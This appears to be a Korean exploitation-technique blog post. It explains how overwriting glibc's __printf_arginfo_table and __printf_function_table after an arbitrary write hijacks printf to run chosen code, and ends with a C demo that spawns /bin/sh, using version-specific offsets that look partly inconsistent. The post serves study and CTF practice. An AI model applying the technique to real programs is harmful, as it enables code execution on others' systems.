AAW -> ACE 방법 탐구
AAW -> ACE 방법 탐구
__printf_arginfo_table, __printf_function_table 조작을 통한 임의 코드 실행
연관 문제
필요 조건
- 임의 주소 쓰기를 통해 libc의
__printf_arginfo_table
,__printf_function_table
을 덮어쓸 수 있어야 함. - AAW 후 형식 지정자(Format String)를 사용한 출력 함수가 호출되어야 함
Disassembly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
► 0x7ff58e36fa64 <__parse_one_specmb+1892> call rax <0x8b4800000000b8ff>
0x7ff58e36fa66 <__parse_one_specmb+1894> mov ecx, dword ptr [rbx + 8]
0x7ff58e36fa69 <__parse_one_specmb+1897> movsxd rdx, eax
0x7ff58e36fa6c <__parse_one_specmb+1900> mov qword ptr [rbx + 0x38], rdx
0x7ff58e36fa70 <__parse_one_specmb+1904> test eax, eax
0x7ff58e36fa72 <__parse_one_specmb+1906> js __parse_one_specmb+334 <__parse_one_specmb+334>
0x7ff58e36fa78 <__parse_one_specmb+1912> cmp dword ptr [rbx + 0x30], -1
0x7ff58e36fa7c <__parse_one_specmb+1916> jne __parse_one_specmb+1040 <__parse_one_specmb+1040>
0x7ff58e36fa82 <__parse_one_specmb+1922> test rdx, rdx
0x7ff58e36fa85 <__parse_one_specmb+1925> je __parse_one_specmb+1040 <__parse_one_specmb+1040>
0x7ff58e36fa8b <__parse_one_specmb+1931> jmp __parse_one_specmb+1119 <__parse_one_specmb+1119>
Backtrace
1
2
3
4
5
6
7
8
► 0 0x7ff58e36fa64 __parse_one_specmb+1892
1 0x7ff58e364c54 printf_positional+276
2 0x7ff58e367336 __vfprintf_internal+774
3 0x7ff58e369665 buffered_vfprintf+197
4 0x7ff58e36865e __vfprintf_internal+5678
5 0x7ff58e35279f printf+175
6 0x564cea9434d6 main+723
7 0x7ff58e31bd90 __libc_start_call_main+128
Flow Analysis
printf
->__vfprintf_internal
1 2 3 4 5 6 7 8 9 10 11 12
int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = __vfprintf_internal (stdout, format, arg, 0); va_end (arg); return done; }
vfprintf(__vfprintf_internal)
->buffered_vfprintf
1 2 3 4 5 6 7 8 9
int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags) { ... if (UNBUFFERED_P (s)) /* Use a helper function which will allocate a local temporary buffer for the stream and then call us again. */ return buffered_vfprintf (s, format, ap, mode_flags);
buffered_vfprintf
->vfprintf (__vfprintf_internal)
1 2 3 4 5 6 7 8
static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags) { ... /* Now print to helper instead. */ result = vfprintf (hp, format, args, mode_flags);
vfprintf
->printf_positional
1 2 3 4 5 6 7 8 9 10 11 12 13
int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags) { ... if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; ... do_positional: done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags);
printf_positional
->__parse_one_specmb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
static int printf_positional (FILE *s, const CHAR_T *format, int readonly_format, va_list ap, va_list *ap_savep, int done, int nspecs_done, const UCHAR_T *lead_str_end, CHAR_T *work_buffer, int save_errno, const char *grouping, THOUSANDS_SEP_T thousands_sep, unsigned int mode_flags) { ... /* Parse the format specifier. */ #ifdef COMPILE_WPRINTF nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg); #else nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
__parse_one_specmb
-> 함수 포인터__printf_arginfo_table[spec->info.spec]
호출1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
size_t attribute_hidden __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) { ... if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0)
- 이때
spec->info.spec
은 현재 처리할 형식 지정자 - 현재 처리할 형식 지정자가
%ld
인 경우spec->info.spec
은l
을 건너뛴d(0x64)
(l
은 단순spec->is_long
플래그 설정용임)__printf_arginfo_table + 0x64 * 8
위치의 함수 포인터를 원하는 대로 설정하여 임의 함수를 호출할 수 있다.
- 이때
Example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// gcc -o temp temp.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
int main(void) {
// __printf_function_table의 값은 NULL이 아니기만 하면 된다. 따라서, 여기에 win 함수의 주소를 작성한다.
*(size_t *)((size_t)stdout + 0x1248) = (size_t)win; // GLIBC 2.35-0ubuntu3.10 (22.04)
// *(size_t *)((size_t)stdout + 0x10a0) = (size_t)win; // GLIBC 2.39-0ubuntu8.5 (24.04)
// __printf_arginfo_table의 값은 win 함수의 주소가 적힌 곳으로부터, (현재 처리될 형식 지정자 * 8)만큼을 뺀 주소로 설정한다.
// 아래에서 호출되는 printf 함수에서 %p 형식 지정자를 사용하므로, 0x70 * 8 만큼을 뺀 주소를 설정한다.
*(size_t *)((size_t)stdout + 0x130) = (size_t)stdout + 0x10a0 - (0x70 * 8); // GLIBC 2.35-0ubuntu3.10 (22.04)
// *(size_t *)((size_t)stdout + 0x10a8) = (size_t)stdout + 0x10a0 - (0x70 * 8); // GLIBC 2.39-0ubuntu8.5 (24.04)
printf("%p\n", win);
}
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.